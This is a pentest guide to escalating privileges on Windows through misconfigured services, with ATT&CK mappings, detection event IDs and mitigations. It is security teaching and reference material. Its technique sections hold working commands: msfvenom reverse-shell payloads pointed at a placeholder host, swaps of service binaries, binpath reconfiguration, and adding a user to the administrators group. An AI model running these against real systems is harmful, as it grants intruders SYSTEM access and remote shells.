Service Exploitation

Overview

Windows services run as SYSTEM or other privileged accounts. Misconfigurations in service binaries, paths, permissions, or registry entries allow unprivileged users to escalate. The three main vectors are: unquoted service paths (inject a binary into a gap in the path), writable service binaries (replace the executable), and weak service permissions (reconfigure the service to point to an attacker-controlled binary).

ATT&CK Mapping

  • Tactic: TA0004 - Privilege Escalation
  • Tactic: TA0003 - Persistence
  • Technique: T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path
  • Technique: T1574.010 - Hijack Execution Flow: Services File Permissions Weakness
  • Technique: T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness

Prerequisites

  • Shell access on the target Windows system
  • Service running as SYSTEM or higher-privileged user
  • One of: unquoted path with writable directory, writable service binary, or weak service ACLs

Techniques

Discovery

:: List all services with details
wmic service get name,displayname,pathname,startmode,startname | findstr /i "auto"

:: Find unquoted service paths
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /iv "C:\Windows\\" | findstr /iv """
# PowerShell — find unquoted service paths
Get-WmiObject Win32_Service | Where-Object {$_.PathName -notlike '"*' -and $_.PathName -like '* *'} | Select-Object Name, PathName, StartName

Unquoted Service Paths

When a service binary path contains spaces and is not enclosed in quotes, Windows tries multiple interpretations. For a path like C:\Program Files\My App\service.exe, Windows checks:

  1. C:\Program.exe
  2. C:\Program Files\My.exe
  3. C:\Program Files\My App\service.exe

If you can write to any of those intermediate locations, your binary executes instead:

:: Check if directory is writable
icacls "C:\Program Files\My App\"

:: If writable, place a payload
:: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o My.exe
copy My.exe "C:\Program Files\My.exe"

:: Restart the service (requires restart permission or system reboot)
sc stop "ServiceName"
sc start "ServiceName"

Writable Service Binaries

If the service binary itself or its directory has weak ACLs:

:: Check permissions on service binary
icacls "C:\Path\To\service.exe"

:: Look for:
:: BUILTIN\Users:(F)      — Full control
:: BUILTIN\Users:(M)      — Modify
:: BUILTIN\Users:(W)      — Write
:: Everyone:(F)            — Full control

:: Replace the binary with a payload
move "C:\Path\To\service.exe" "C:\Path\To\service.exe.bak"
copy payload.exe "C:\Path\To\service.exe"

:: Restart service
sc stop "ServiceName"
sc start "ServiceName"
# PowerShell — check service binary permissions
Get-Acl "C:\Path\To\service.exe" | Format-List

Weak Service Permissions (sc config)

If a user has permission to reconfigure a service (change its binary path):

:: Check service permissions with accesschk (Sysinternals)
:: accesschk is a standalone Sysinternals tool — transfer to target
accesschk.exe /accepteula -ucqv "ServiceName"
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

:: Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS

:: Reconfigure the service binary path
sc config "ServiceName" binpath= "C:\Users\Public\payload.exe"

:: Or point to a command directly
sc config "ServiceName" binpath= "cmd /c net localgroup administrators <user> /add"

:: Restart service
sc stop "ServiceName"
sc start "ServiceName"

DLL Hijacking via Services

If a service binary loads DLLs from a writable directory:

:: Use Process Monitor (ProcMon) to find DLL load attempts
:: Filter: Process Name = service.exe, Result = NAME NOT FOUND, Path ends with .dll

:: Place a malicious DLL in the search path
:: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o missing.dll
copy missing.dll "C:\Writable\Path\missing.dll"

:: Restart the service
sc stop "ServiceName"
sc start "ServiceName"

Service Creation (Requires Admin)

If you have local admin but need SYSTEM:

:: Create a service that runs as SYSTEM
sc create escalate binpath= "cmd /c net localgroup administrators <user> /add" start= auto obj= LocalSystem
sc start escalate
sc delete escalate

Detection Methods

Network-Based Detection

  • Not directly observable on the network — service exploitation is local

Host-Based Detection

  • Monitor service creation and modification events (Event ID 7045 — new service installed, Event ID 4697)
  • Monitor service binary path changes (sc config commands)
  • Alert on icacls or accesschk execution (reconnaissance)
  • File integrity monitoring on service binary directories

Mitigation Strategies

  • Quote all service paths — ensure all service binary paths are enclosed in double quotes
  • Restrict service binary permissions — service executables and their directories should be writable only by Administrators and SYSTEM
  • Restrict service configuration permissions — only Administrators should have SERVICE_CHANGE_CONFIG
  • Audit service ACLs regularly — use accesschk or PowerShell to review service permissions
  • Use AppLocker/WDAC — prevent execution of unsigned binaries from user-writable locations

References

Pentest Guides & Research

MITRE ATT&CK